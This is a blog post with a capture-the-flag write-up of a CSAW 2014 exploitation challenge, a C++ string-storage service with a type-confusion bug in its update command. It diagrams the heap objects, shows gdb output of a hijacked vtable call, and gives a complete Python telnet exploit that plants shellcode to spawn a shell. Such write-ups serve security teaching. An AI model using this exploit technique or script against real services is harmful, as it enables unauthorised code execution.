Thursday, September 25, 2014

CSAW CTF Quals 2014 - S3 - Exploitation 300 - [Team SegFault]

For this challenge we got a Linux 64-bit ELF executable [C++ code]. ASLR was enabled in the remote machine and NX disabled in executable. The executable is simply, it could store counted and NUL terminated string. Stored strings could also be updated and read using <id>
Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3
Below is the data structure for storing Counted String:
24 Bytes
 ______________________
|  Ptr to ObjectA [ID] |
|______________________|
|   Type [Counted][1]  |
|______________________|
|   Ptr to ObjectA     |
|______________________|


24 Bytes - ObjectA
______________________
|       VTABLE        |
|_____________________|
|   Size of String    |
|_____________________|
|   Ptr to String     |
|_____________________|

and for NUL-Terminated String:
24 Bytes
 ______________________
|  Ptr to String[ID]   |
|______________________|
|    Type [NUL][0]     |
|______________________|
|  Ptr to UserString   |
|______________________|

The vulnerability is in UpdateString feature, it doesn't check for Counted String or NUL-terminated string. Directly treats update of Counted String as handling a NUL-Terminated string and updates Ptr to ObjectA with Ptr ot UserString, but leaves the Type field as such.
24 Bytes - After Update
 ______________________
|Ptr to UserString[ID] |
|______________________|
|   Type [Counted][1]  |
|______________________|
|  Ptr to UserString   |
|______________________|


24 Bytes - Old ObjectA
______________________
|       VTABLE        |
|_____________________|
|   Size of String    |
|_____________________|
|   Ptr to String     |
|_____________________|

UserString:
 _____________________
|       AAAAAAAA      |
|_____________________|
|       BBBBBBBB      |
|_____________________|
|       ........      |
|_____________________|

During read operation, the type of string is checked. If its a Counted String, the Ptr to Object is read and functions in VTABLE are called. But after update operation, the Ptr to Object points to Ptr to UserString with type still set to Counted. This means first 8 bytes of user string will be considered as pointer to VTABLE.

If we could fake VTABLE with pointer to shellcode, then we have control of program. Absence of NX and string ID returned to users being pointers to heap memory, we could easily achieve this.
> c 1 AAAAA
Program received signal SIGALRM, Alarm clock.
AAA
Your stored string's unique identifier is: 6320176
> c 1 
Your stored string's unique identifier is: 6320384
> u 6320384 BBBBBBBB
Your stored string's new unique identifier is: 6320240
> r 6320240

Program received signal SIGSEGV, Segmentation fault.

   0x4019cb: mov    QWORD PTR [rbp-0x50],rdi
   0x4019cf: mov    rdi,rax
   0x4019d2: mov    rax,QWORD PTR [rbp-0x50]
=> 0x4019d6: call   QWORD PTR [rax+0x10]
   0x4019d9: add    eax,0x1

gdb-peda$ info registers 
rax            0x4242424242424242 0x4242424242424242
We could notice that, a Counted String object could be directly provided as fake VTABLE as [Object+0x10] is a pointer to user controlled string which will be our shellcode.

So the idea of exploit is:
[*] Create two Counted String - ObjectA and ObjectB
[*] ObjectA will have pointer to shellcode supplied as string
[*] Update ObjectB with a new string, this string will be considered as an object due to type confusion
[*] Read ObjectB to trigger the vulnerability
[*] Syscall alarm(0) will disable signal

Below is the exploit:
#!/usr/bin/env python

import re
import time
import struct
import telnetlib
import shellcode

ip = "127.0.0.1"
#ip = "54.165.225.121"
port = 5333

def GetAddress(string): return re.search('[0-9]{8}', string).group()

soc = telnetlib.Telnet(ip, port)
time.sleep(2)
soc.read_very_eager()

# First ObjectA
soc.write('c 1 ' + shellcode.SIGALRM + shellcode.EXECVE + '\n')
ID = soc.read_until('> ')
ObjectA = int(GetAddress(ID))
print '[*] Created counted string at %s' % hex(ObjectA)

# Second ObjectB
soc.write('c 1\n')
ID =  soc.read_until('> ')
ObjectB = int(GetAddress(ID))
print '[*] Created counted string at %s' % hex(ObjectB)

# Updating ObjectB
VTABLE  = struct.pack('<Q', ObjectA)
soc.write('u ' + str(ObjectB) + ' ' + VTABLE + '\n')
ID =  soc.read_until('> ')
UpdatedObjectB = int(GetAddress(ID))
print '[*] Updated object at %s' % hex(UpdatedObjectB)

# Triggering vuln
soc.write('r ' + str(UpdatedObjectB) + '\n')
soc.interact()
Flag for the challenge is flag{SimplyStupidStorage}

No comments :

Post a Comment